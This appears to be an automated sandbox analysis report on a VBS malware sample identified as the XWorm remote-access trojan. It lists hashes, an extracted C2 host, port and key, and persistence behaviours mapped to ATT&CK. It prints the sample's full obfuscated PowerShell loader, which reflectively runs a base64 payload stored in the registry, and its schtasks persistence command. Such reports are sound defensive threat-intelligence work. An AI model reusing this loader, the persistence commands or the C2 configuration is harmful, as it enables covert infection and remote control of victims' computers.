Analysis
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max time kernel
54s -
max time network
55s -
platform
windows11-21h2_x64 -
resource
win11-20240419-en -
resource tags
arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system -
submitted
21-06-2024 20:23
Static task
static1
Behavioral task
behavioral1
Sample
FUD.vbs
Resource
win11-20240419-en
General
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Target
FUD.vbs
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Size
50KB
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MD5
61230920efef6ab453d9ccc42e9540fb
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SHA1
127f2123507d091e072a9029c6cd6b7d043f665e
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SHA256
0e260957b3b6a07c65e0681f5dd2fc641b68f1f5616a0561f196ac083f747d33
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SHA512
7d6b04e2311a260a9f03d3ff3e11881a95edb00070965f3a0a7a43183e7f7afe7ef2753e0a37c0c100e62094cbe06c45b704ad02bcae95ff588eabdb0a233e87
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SSDEEP
1536:A6cYdHvZQw09SkelLyAPh0voJKfI2jygScsddWZrv+Vm:A6cIvk9reVUvWII2gJdWZT+Vm
Malware Config
Extracted
xworm
5.0
Jamalhacker-53065.portmap.io:2028
NBXNL6R1KrKKccOr
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Install_directory
%Userprofile%
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install_file
USB.exe
Signatures
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Detect Xworm Payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/3452-15-0x000001B4692B0000-0x000001B4692C0000-memory.dmp family_xworm -
Drops startup file 4 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs powershell.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows backup.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows backup.lnk powershell.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
Windows backuppid process 2328 Windows backup -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows backup = "C:\\Users\\Admin\\Windows backup" powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 1 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exeWindows backuppid process 3452 powershell.exe 3452 powershell.exe 2328 Windows backup 2328 Windows backup -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exeWindows backupdescription pid process Token: SeDebugPrivilege 3452 powershell.exe Token: SeDebugPrivilege 3452 powershell.exe Token: SeDebugPrivilege 2328 Windows backup -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 1140 wrote to memory of 3452 1140 WScript.exe powershell.exe PID 1140 wrote to memory of 3452 1140 WScript.exe powershell.exe PID 3452 wrote to memory of 2812 3452 powershell.exe schtasks.exe PID 3452 wrote to memory of 2812 3452 powershell.exe schtasks.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FUD.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:1140 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\FUD.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs'; $RO87DB = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $RO87DB = -join $RO87DB[-1..-$RO87DB.Length];[<##>AppDomain<##>]::<##>('cFS1BEYurrentDomain'.replace('cFS1BEY','C'))<##>.<##>('l1OK0AYoad'.replace('l1OK0AY','L'))([Convert]::FromBase64String($RO87DB))<##>.<##>('e655ZBQntryPoint'.replace('e655ZBQ','E'))<##>.<##>('InvGKQU22oke'.replace('vGKQU22','v'))($Null,$Null)<##>;2⤵
- Drops startup file
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3452 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows backup" /tr "C:\Users\Admin\Windows backup"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2812
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C:\Users\Admin\Windows backup"C:\Users\Admin\Windows backup"1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2328
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
62KB
MD5e566632d8956997225be604d026c9b39
SHA194a9aade75fffc63ed71404b630eca41d3ce130e
SHA256b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0
SHA512f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
440KB
MD50e9ccd796e251916133392539572a374
SHA1eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
SHA256c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
SHA512e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d